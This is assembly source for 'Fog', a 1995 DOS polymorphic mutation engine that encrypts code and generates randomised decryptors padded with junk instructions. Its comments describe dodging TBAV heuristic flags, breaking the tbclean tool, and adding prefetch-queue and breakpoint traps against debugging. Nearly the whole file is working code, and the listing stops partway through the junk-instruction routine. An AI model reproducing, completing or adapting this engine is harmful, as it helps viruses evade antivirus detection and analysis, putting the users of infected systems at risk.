;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
title Fog - the funky opcode generator
subttl 1.0.01 Released June 1995
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
.radix 16
ideal
segment code word
assume cs : code, ds : code, es : code, ss : code
public fog_init, fog, rnd
fogsize = end_fog
include "switches.inc"
; internal switches - used only by fog:
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sw_nojmps equ 00000001b
sw_displ equ 00000010b
sw_directn equ 00000100b
sw_int4 equ 00001000b ; unused
sw_int5 equ 00010000b ; unused
sw_int6 equ 00100000b ; unused
sw_int7 equ 01000000b ; unused
sw_int8 equ 10000000b ; unused
; internal data structure
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
struc datstruc
code_buffer dw 0 ;code buffer
code_ip dw 0 ;code offset
code_length dw 0 ;code length
dec_offset dw 0 ;offset in decryptor
encr_key dw 0 ;encryption key
gb_switches db 0 ;switches
dh_switches db 0 ;
gn_switches db 0 ;
in_switches db 0 ;
count_reg db 0 ;counter reg
base_reg db 0 ;base reg
key_reg db 0 ;key reg
rolls db 0 ;rolls on key
keypos dw 0 ;pos in decryptor of the key
lastjmp dw 0 ;last unupdated jmp
displ dw 0 ;displacement
; What to put in ah on dos calls.
; None of these change any registers except AX.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
i_table db 61, 1dh, 1eh, 20, 2eh, 45, 4dh
; One byte junk instruction table.
; It is possible to expand the engine by replacing the number 1fh
; in the random function of flow_controller by 3fh (or 7f, ff),
; increasing the indexing capability. Then you can add as many new
; junk generating routines as you find appropriate. This will add lots
; to the size of the engine, because you will have to add many new
; one-byte intructions and junk routines to fill the increased index space.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
onebytes db 90 ;nop This nop could be replaced
db 90 ;nop as could this (possibly 0d6h?)
db 40 ;inc ax
db 48 ;dec ax
db 90 ;nop
db 98 ;cbw
db 9bh ;wait
db 9eh ;sahf
db 9fh ;lahf
break db 0cch ;int 3
db 0ech ;in al, dx
db 0edh ;in ax, dx
db 0d7h ;xlat
db 0f5h ;cmc
db 0fch ;cld
db 0fdh ;std
db 0f8h ;clc
db 0f9h ;stc
ends datstruc
; NB: The one byte instructions of aaa, aas, daa, das generate tbav @ flags
; and have not been included in the one-byte table.
; The d6 instruction, which is undefined in the 80X86 instruction set, could've
; been used, as it seems to have no effect. However, it generates tbav ! flags,
; which together with the G flag causes tbav alert. If you should decide to use
; it, it would effectively kill any tbclean attempt - making tbclean croak with
; an "invalid opcode" message.
; Register encoding definitions for internal use
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
rax equ 00
rbx equ 03
rcx equ 01
rdx equ 02
rsp equ 04
rbp equ 05
rsi equ 06
rdi equ 07
cryptinstr equ 0fh ;Amount of crypt instructions
;to use
cryptobuf equ ( cryptinstr ) * 3 ;crypto buffer
buffer_offs equ ( offset buffer - offset i_data )
;absolute offset to buffer
roll_offs equ ( offset rollit - offset i_data ) + 1
;absolute offset to roll instr.
;when decrementing decryptor,
;the rol has to be changed into
;a ror
id equ ( datstruc ptr bx ) ;just simplifying things some
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
begin_fog:
; FOG label
db '[Fog 1.0]'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; MAIN PUBLIC ROUTINES
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Initialise fog
proc fog_init
push ax bx ds
call set_base ;set ds:bx -> cs:i_data
mov [ word id . gb_switches ], ax ;ÄÄÄÄÄÄÄ¿
mov [ word id . gn_switches ], cx ; ³
mov [ id . code_buffer ], dx ; ÃÄ fill values into
mov [ id . code_length ], si ; ³ internal data area
mov [ id . code_ip ], di ; ³
mov [ id . break ], 0cch ;ÄÄÄÄÄÄÄÙ
test [ id . gn_switches ], sw_r_garb ;ÄÄ¿
jz @@1 ; ³
call rnd_07 ; ³
mov al, 0ffh ; ÃÄ randomise junk
shr al, cl ; ³
mov [ id . gb_switches ], al ; ³
@@1: ;ÄÄÄÄÄÄÄÙ
test [ id . gn_switches ], sw_r_host ;ÄÄ¿
jz @@2 ; ³
call rnd_ff ; ÃÄ randomise hostility
mov [ id . dh_switches ], al ; ³
@@2: ;ÄÄÄÄÄÄÄÙ
call max_codesize ; return max mem used
pop ds bx ax
ret ;return: fog data area filled with
;necessary constants
endp fog_init
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; --====--
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encrypt code and add decryptor, store all in es:0 ->
proc fog
push ax bx si di bp ;save regs
call set_base ;set bx at data struc
mov [ id . dec_offset ], bp ;set offset to use in decryptor
restart:
mov al, 90 ;ÄÄÄÄÄÄÄ¿
mov cx, cryptobuf ; ³
mov si, bx ; ³
nextnop: ; ÃÄ init crypto buffer
mov [ si + buffer_offs ], al ; ³
inc si ; ³
loop nextnop ;ÄÄÄÄÄÄÄÙ
test [ id . dh_switches ], sw_int3 ;ÄÄÄÄ¿
jnz genint3 ; ÃÄ don't use int 3's
mov [ id . break ], al ; ³ replace CC with 90
genint3: ;ÄÄÄÄÄÄÄÙ
;ÄÄÄÄÄÄÄ¿
call rnd_ax ; ³
add [ id . encr_key ], ax ; ÃÄ randomise key
rol ax, cl ; ³
add [ id . encr_key ], ax ;ÄÄÄÄÄÄÄÙ
and [ id . in_switches ], not sw_directn ;
mov [ byte bx + roll_offs ], 0c2h ; ³
call rnd_z ; ³
jz up ; ÃÄ randomise up/down
or [ id . in_switches ], sw_directn ; ³ if down, invert
mov [ byte bx + roll_offs ], 0cah ; ³ rol -> ror
up: ;ÄÄÄÄÄÄÄÙ
xor di, di ;set buffer offset = 0
and [ id . gn_switches ], not sw_displ;¿
mov ax, di ; ³
jz n_disp ; ³
or [ id . in_switches ], sw_displ; ÃÄ randomise displ.
call rnd_ax ; ³
n_disp: ; ³
mov [ id . displ ], ax ;ÄÄÄÄÄÄÄÙ
test [ id . dh_switches ], not sw_debug;¿
jnz nodebug ; ÃÄ if debug,
mov [ id . encr_key ], di ; ³ zero key
nodebug: ;ÄÄÄÄÄÄÄÙ
mov [ word id . count_reg ], di ;ÄÄÄÄÄÄÄ¿
mov [ word id . key_reg ], di ; ÃÄ zero regs
mov [ word id . keypos ], di ;ÄÄÄÄÄÄÄÙ
call reg_init_strategy ;ÄÄÄÄÄÄÄ¿
call reg_init_strategy ; ÃÄ determine regs
call reg_init_strategy ;ÄÄÄÄÄÄÄÙ
push bp
mov bp, di ;store loopback offset
; below : crypto instruction
; generation loop
mov cl, cryptinstr ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
call rnd ; ³
mov si, cryptobuf ; ³
new_func: ; ³
push cx ; ³
call junk ; junk ³
dec si ; ³
dec si ; ³
; ³
call rnd_03 ; ³
; ³
loop addfunc ;ÄÄÄÄÄÄÄ¿ ³
subfunc: ; ÃÄ sub ³
mov dx, 2903h ; ³ ³
addfunc: ;ÄÄÄÄÄÄÄ´ ³
loop xorfunc ; ÃÄ add ³
mov dx, 012bh ; ³ ³
xorfunc: ;ÄÄÄÄÄÄÄ´ ³
loop det_func ; ÃÄ xor ³
mov dx, 3133h ; ³ ³
det_func: ;ÄÄÄÄÄÄÄÙ ³
; ³
call getseg ;cs:/ds:/es:/ss: ³
; ³
call rnd_z ; ³
jnz immediate_keys ; ³
; ³
;ÄÄÄÄÄÄÄ¿ ³
mov ah, dh ; ³ ³
stosw ; ³ ³
mov al, [ id . key_reg ] ; ³ ³
mov cl, 3 ; ÃÄ register ³
shl al, cl ; ³ keyed ³
call xlatreg ; ³ ³
mov dh, 0c2h ; ³ ³
mov [ bx + si + buffer_offs ], dx ; ³ ³
jmp short @@1 ;ÄÄÄÄÄÄÄ´ ³
; ³ ³
; ³ ³
immediate_keys: ; ³ ³
dec si ; ³ ³
and dh, 0feh ; ³ ³
add dl, 02 ; ³ ³
mov ah, 81 ; ³ ³
stosw ; ÃÄ immediate ³
mov al, dh ; ³ keyed ³
call xlatreg ; ³ ³
call rnd_ax ; ³ ³
test [ id . dh_switches ], not sw_debug;³ ³
jnz n_debug ; ³ ³
xor ax, ax ; ³ ³
n_debug: ; ³ ³
stosw ; ³ ³
mov [ bx + si + buffer_offs ], dl ; ³ ³
mov [ bx + si + buffer_offs + 1], ax ; ³ ³
@@1: ;ÄÄÄÄÄÄÄÙ ³
pop cx ; ³
loop new_func ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Ù
call junk ;add junk
call rnd_z ;ÄÄÄÄÄÄÄ¿
jz no_roll ; ³
call rnd_07 ; ³
mov [ id . rolls ], cl ; ³
mov ax, 0c0d1h ; ³
or ah, [ id . key_reg ] ; ÃÄ randomise and
new_roll: ; ³ add rol's
stosw ; ³
call junk ; junk ³
loop new_roll ; ³
no_roll: ;ÄÄÄÄÄÄÄÙ
call computepos ;increment base position
call junk ;add junk
lea ax, [ bx + (offset jmps_finished - offset i_data) ]
push ax ;for people who might not
;understand what I do here:
;I push the address of
;jmps_finished onto the stack,
;so that following ret's
;will bring me there.
mov al, [ id . count_reg ]
or al, 48 ;dec count
stosb
call rnd_03 ;randomise
lea dx, [ bp - 1 ] ;backward jump strategies.
sub dx, di
cmp dx, 0ff80h ;can't use short jmps
jbe jmp_strategy3 ;if decryptor too long
loop jmp_strategy3
cmp [ id . count_reg ], rcx ; is CX count reg?
jnz jmp_strategy2
call rnd_z ; if so, we might use loop
jz jmp_strategy2 ; but only randomly so
jmp_strategy1: ;ÄÄÄÄÄÄÄ¿
dec di ; ³
mov ah, dl ; ÃÄ loop back
mov al, 0e2 ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
jmp_strategy2: ; ³
dec dx ; ³
mov ah, dl ; ÃÄ jnz back
mov al, 75 ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
jmp_strategy3: ; ³
loop jmp_strategy4 ; ³
longjmp: ; ³
mov ax, 0374 ; ³
stosw ; ÃÄ jz $+3
mov al, 0e9 ; ³ jmp back
stosb ; ³
lea ax, [ bp - 2 ] ; ³
sub ax, di ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
jmp_strategy4: ; ³
mov ax, 0574 ; ³
stosw ; ³
call find_reg ; ³
push ax ; ³
or al, 0b8h ; ÃÄ jz $+5
stosb ; ³ mov reg, offs back
mov ax, bp ; ³ push reg
add ax, [ id . dec_offset ] ; ³ ret
stosw ; ³
pop ax ; ³
or ax, 0c350 ; ³
ret ;ÄÄÄÄÄÄÄÙ
jmps_finished:
stosw
call junk ;add junk
test [ id . in_switches ], sw_directn ;Ä¿
jz n_prefetch_buf ; ³
mov ax, 00ebh ; ÃÄ clear prefetch queue
stosw ; ³
n_prefetch_buf: ;ÄÄÄÄÄÄÄÙ
mov ax, 0e990
mov dx, [ id . encr_key ] ;put encryption key in dx
mov bp, di ;ÄÄÄÄÄÄÄ¿
call scramble_word ; ³
stosw ; ÃÄ crypt jmp to
mov ax, [ id . code_ip ] ; ³ code offset
call scramble_word ; ³
stosw ;ÄÄÄÄÄÄÄÙ
mov ax, [ id . code_length ] ;ÄÄÄÄÄÄÄ¿
shr ax, 1 ; ÃÄ div code length
inc ax ; ³ by key length
mov cx, ax ;ÄÄÄÄÄÄÄÙ
mov si, [ id . code_buffer ] ;where to get data to crypt
newword: ;ÄÄÄÄÄÄÄ¿
lodsw ; ³
call scramble_word ; ÃÄ encrypt
stosw ; ³
loop newword ;ÄÄÄÄÄÄÄÙ
test [ id . in_switches ], sw_directn ;Ä¿
jz n_adjust ; ³
lea bp, [ di - 2 ] ; ³
mov si, [ id . keypos ] ; ÃÄ if down decryptor
mov cl, [ id . rolls ] ; ³ encr. key has to be
rol dx, cl ; ³ adjusted because
mov [ es : si ], dx ; ³ of the rol's
n_adjust: ;ÄÄÄÄÄÄÄÙ
pop si
add bp, [ id . dec_offset ]
add [ es : si ], bp ;adjust start of decrypt
test [ id . dh_switches ], not sw_debug;¿
jz all_ok ; ³
push ax ; ³
call scramble_word ; ³
pop cx ; ÃÄ if not debug, test
cmp ax, cx ; ³ if decryptor
jnz all_ok ; ³ really encrypts
jmp restart ; ³ if not, restart
all_ok: ;ÄÄÄÄÄÄÄÙ
test [ id . gn_switches ], sw_const_s;ÄÄ¿
jz nostatic ; ³
push ax ; ³
call max_codesize ; ³
pop ax ; ÃÄ if constant size,
sub cx, di ; ³ pad up to max
jbe nostatic ; ³ codesize
rep stosb ; ³
nostatic: ;ÄÄÄÄÄÄÄÙ
mov cx, di
add cx, [ id . dec_offset ]
neg cx
test [ id . gn_switches ], sw_align256;Ä¿
jz test16 ; ÃÄ 256 byte alignment?
and cx, 0ffh ; ³
jnz pad ;ÄÄÄÄÄÄÄÙ
test16: ;ÄÄÄÄÄÄÄ¿
test [ id . gn_switches ], sw_align16 ³
jz nopad ; ÃÄ 16 byte alignment?
and cx, 0f ; ³
jz nopad ;ÄÄÄÄÄÄÄÙ
pad:
rep stosb ;do the padding
nopad:
mov cx, di ;set cx = bytes crypted
push es ;set ds:dx = crypted code
pop ds
xor dx, dx
pop bp di si bx ax ;restore regs
ret
;RETURN: Encrypted and mutated code in ES:DI = DS:DX = DS:0
; Number of bytes in CX
endp fog
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Get random (almost) number from timer
proc rnd
push bx
mov bx, ax
mov bh, bl
mov ch, 0
in ax, 40h
and ax, cx
push cx
xchg ax, cx
in ax, 40h
add ax, bx
ror ax, cl
pop cx
and ax, cx
jnz @@1
inc ax
@@1:
pop bx
mov cl, al
ret ;return: AL/CL = rnd (1..CL)
endp rnd
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ENCRYPTOR/DECRYPTOR LOGISTICS
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Set base (bx) at internal data struc
proc set_base
call myip
myip:
pop bx
sub bx, myip - i_data
push cs
pop ds
ret ;return: BX pointing at i_data
endp set_base
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Check that requested register (in al) is unused
proc reg_used
cmp al, [ id . key_reg ] ;key register
jz @@1
cmp al, [ id . count_reg ] ;counter register
jz @@1
cmp al, [ id . base_reg ] ;base register
jz @@1
cmp al, rsp ;SP, not to be used
@@1:
ret ;return : Z if reg is used
endp reg_used
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Find unused register
proc find_reg
call rnd_07
call reg_used
jz find_reg
mov dl, al
ret ;return: unused register in AL and DL
endp find_reg
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Rand 1-3
proc rnd_03
mov cl, 03h
call rnd
ret ;return: AL/CL = rnd (1..3)
endp rnd_03
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Rand 1-7
proc rnd_07
mov cl, 07h
call rnd
ret ;return: AL/CL = rnd (1..7)
endp rnd_07
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Rand 1-255
proc rnd_ff
mov cl, 0ffh
call rnd
ret ;return: AL/CL = rnd (1..255)
endp rnd_ff
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; A random Yes/No function
proc rnd_z
push ax cx
call rnd_ff
test al, 01h
pop cx ax
ret ;return: rnd Z/NZ
endp rnd_z
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Translate register values into valid instruction
proc xlatreg
?si:
or al, 04
cmp [ id . base_reg ], rsi
jz @@2
?di:
or al, 05
cmp [ id . base_reg ], rdi
jz @@2
or al, 07
@@2:
test [ id . in_switches ], sw_displ
jz @@3 ;displacement?
or al, 80h
stosb
mov ax, [ id . displ ]
stosw
ret
@@3:
stosb
ret ;return: Valid instruction
;in decryptor
endp xlatreg
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Encrypt word in ax
proc scramble_word
push cx
buffer:
db cryptobuf dup (90)
mov cl, [ id . rolls ]
rollit:
rol dx, cl
pop cx
ret ;return: AX crypted by
;whatever. Fog modifies
;itself randomly here, and
;creates mundo
;different encryptors.
endp scramble_word
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Position updating strategies
proc computepos
call rnd_z
jz @@3
mov al, 83
stosb
call rnd_z
mov ax, 02c0 ;strategy 1/2 : add reg, 2/-2
jz @@1
mov ax, 0fee8 ;strategy 3/4 : sub reg, 2/-2
@@1:
test [ id . in_switches ], sw_directn
jz @@2
neg ah ;decrementing decryptor
@@2: ;incrementing decryptor
or al, [ id . base_reg ]
sword:
stosw
ret
@@3:
mov al, 40 ;strategy 5 : inc reg inc reg
test [ id . in_switches ], sw_directn
jz @@4
or al, 08 ;strategy 6 : dec reg dec reg
@@4:
or al, [ id . base_reg ]
stosb ;add pos instr
call junk ;add junk
sbyte:
stosb ;add pos instr
ret ;
;return: Updates the base register in the decryptor
endp computepos
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Get segment override prefix
proc getseg
test [ id . gn_switches ], sw_exefile
jz use_all
mov al, 2eh
ret
use_all:
call rnd_ff
and al, 3eh
or al, 26h
ret
;return : random 2eh/3eh/26h/36h: (CS:/DS:/ES:/SS:) in AL
;if EXE only CS: will be returned
endp getseg
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Compute maximum code length
proc max_codesize
mov al, [ id . gb_switches ]
xor ah, ah
mov cx, ((0dh+cryptinstr)*3)/2 ;garb. calls times 1.5 bytes avg
mul cx ;times max no. of junk instr.
add ax, 9 + (cryptinstr*7) + 7*2 + 3 + 8 + 2 + 4
add ax, [ id . code_length ]
xchg ax, cx
ret ;return: max encrypted size in CX
endp max_codesize
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Pick regs to use in vital instructions
proc reg_init_strategy
call junk
reg_init_strategy_:
call find_reg
call rnd_03
loop cntfunc
cmp [ id . base_reg ], ch
jnz cntfunc_
posfunc: ;can only use bx, si or di
mov al, dl
cmp al, rbx
jz regok
cmp al, rsi
jz regok
cmp al, rdi
jz regok
call find_reg
jmp short posfunc
regok:
mov [ id . base_reg ], al
or al, 0b8
stosb
mov bp, di
xor ax, ax
sub ax, [ id . displ ]
stosw
ret
cntfunc:
loop keyfunc
cntfunc_:
cmp [ id . count_reg ], ch
jnz keyfunc
mov al, dl
mov [ id . count_reg ], al
or al, 0b8
stosb
mov ax, [ id . code_length ]
shr ax, 1
add ax, 3
stosw
ret
keyfunc:
cmp [ id . key_reg ], ch
jnz reg_init_strategy_
mov al, dl
mov [ id . key_reg ], al
or al, 0b8
stosb
mov ax, [ id . encr_key ]
mov [ id . keypos ], di
stosw
ret
;return: random register chosen and put in base_reg, count_reg or key_reg
endp reg_init_strategy
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; JUNK ROUTINE
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; 017 : Flow controller - Fork junk code generation in different directions
; Model: 1. Get random no. in CX
; 2. loop r2
; routine no1
; ret
; r2:
; loop r3
; routine no2
; ret
; r3:
; loop r4
; ......
; end of routines.
;
; 3. The number in CX can be higher than
; the amount of generation routines.
; If so, whatever left in CX is used
; as index into one-byte instruction
; table.
;
; 4. To add another routine:
; Make a routine creating an instruction
; subgroup. It should be on the form:
;
; rx1:
; loop rx2
; generation routine
; ret
; rx2:
;
;
; !NB Remember all these routines return to either sword
; (stosw) or sbyte (stosb).
;
; After adding the routine, remove one of the one-byte
; instructions in the one-byte table, pref. one of the
; extra nops. The new routine has now taken its place in
; the index space.
;
; The rules for junk instructions in the decryptor are:
;
; 1. They must not change registers that are used for
; the functionality of the decryptor. You can check for
; this at any time by putting register no. in al and
; call reg_used, returning Z if used, or simply call
; find_reg, which will return an unused register in al.
;
; 2. AX can always be changed
;
; 3. SP must never be changed.
;
;
proc flow_controller
mov cl, 1fh
call rnd
lea ax, [ bx + (offset sword - offset i_data) ]
push ax ;return to sword
s1: ;ÄÄÄÄÄÄÄ¿
loop s2 ; ³
call find_reg ; ³
call rnd_ax ; ³
and ax, 073bh ; ÃÄ and/add/adc/
or ax, 0c003h ; ³ sub/sbb/cmp/
mov cl, 3 ; ³ xor/or reg, reg
shl dl, cl ; ³
or ah, dl ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s2: ; ³
loop s3 ; ³
call rnd_ax ; ÃÄ and/add/adc/
and al, 03ch ; ³ sub/sbb/cmp/
or al, 04 ; ³ xor/or al, imm byte
ret ; ³
;ÄÄÄÄÄÄÄ´
s3: ; ³
loop s4 ; ³
mov cl, 3fh ; ³
call rnd ; ³
and al, 3dh ; ³
or al, 05h ; ³
stosb ; ÃÄ and/add/adc/
rnd_ax: ; ³ sub/sbb/cmp/
call rnd_ff ; ³ xor/or ax, imm word
mov dh, al ; ³
call rnd_ff ; ³
mov ah, dh ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s4: ; ³
loop s5 ; ³
call find_reg ; ³
cmp al, rbx ; ³
ja s5_ ; ÃÄ mov reg, imm byte
or dl, 0b0 ; ³
call rnd_ax ; ³
mov al, dl ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s5: ; ³
loop s6 ; ³
s5_: ; ³
call find_reg ; ÃÄ mov reg, imm word
or al, 0b8 ; ³
stosb ; ³
call rnd_ax ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s6: ; ³
loop s7 ; ³
call find_reg ; ³
call rnd_07 ; ÃÄ push reg, pop reg
mov ah, dl ; ³
or ax, 5850 ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s7: ; ³
loop s8 ; ³
test [ id . in_switches ], sw_nojmps; ³
jnz s5_ ; ³
mov [ id . lastjmp ], di ; ³
or [ id . in_switches ], sw_nojmps; ³
call rnd_ff ; ³
call rnd_z ; ÃÄ jmp short/
jz conditional ; ³ jmp on condition
mov al, 0ebh ; ³
ret ; ³
conditional: ; ³
and al, 0fh ; ³
or al, 70 ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s8: ; ³
loop s9 ; ³
test [ id . dh_switches ], sw_use_ints; ³
jz s9_ ; ³
call rnd_07 ; ³
add al, (offset i_data.i_table - offset i_data)-1; ÃÄ mov ah, imm byte
xlat ; ³ int 21
mov ah, al ; ³
mov al, 0b4h ; ³
stosw ; ³
mov ax, 21cdh ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s9: ; ³
loop s10 ; ³
s9_: ; ³
call find_reg ; ³
call rnd_z ; ³
jnz n_prefix ; ³
call getseg ; ³
stosb ; ³
n_prefix: ; ³
call rnd_07 ; ³
cmp al, dl ; ³
jnz n_equal ; ³
dec ax ; ³
n_equal: ; ³
mov cl, 3 ; ÃÄ mov reg, reg/
shl dl, cl ; ³ mov reg, [m16]
or dl, al ; ³
mov ah, dl ; ³
or ah, 0c0 ; ³
mov al, 8bh ; ³
call rnd_z ; ³
jz nodisp ; ³
or ah, 06 ; ³
and ah, 03eh ; ³
stosw ; ³
call rnd_ax ; ³
dec ax ; ³
jnc nodisp ; ³
dec ax ; ³
nodisp: ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s10: ; ³
loop s11 ; ³
test [ id . dh_switches ], sw_prefetch; ³
jz s9_ ; ³
call getseg ; ³
stosb ; ³
mov dx, 06c7h ; ³
mov ax, dx ; ³
stosw ; ³
lea ax, [ di + 4 ] ; ³
add ax, [ id . dec_offset ] ; ÃÄ prefetch trap
push ax ; ³
stosw ; ³
mov ax, 020cdh ; ³
stosw ; ³
call getseg ; ³
stosb ; ³
mov ax, dx ; ³
stosw ; ³
pop ax ; ³
stosw ; ³
mov ax, 0c72e ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s11: ; ³
loop s12 ; ³
call find_reg ; ³
call rnd_ax ; ÃÄ rol/ror/rcr/rcl
and ax, 0d8d3h ; ³ reg, 1/cl
or ax, 0c0d1h ; ³
or ah, dl ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
s12: ; .
pop ax ; .
lea ax, [ bx + (offset sbyte - offset i_data) ]; . Return to sbyte
push ax ; .
; .
loop s13 ; ³
call find_reg ; ÃÄ xchg ax, reg
or al, 90 ; ³
ret ; ³
;ÄÄÄÄÄÄÄ´
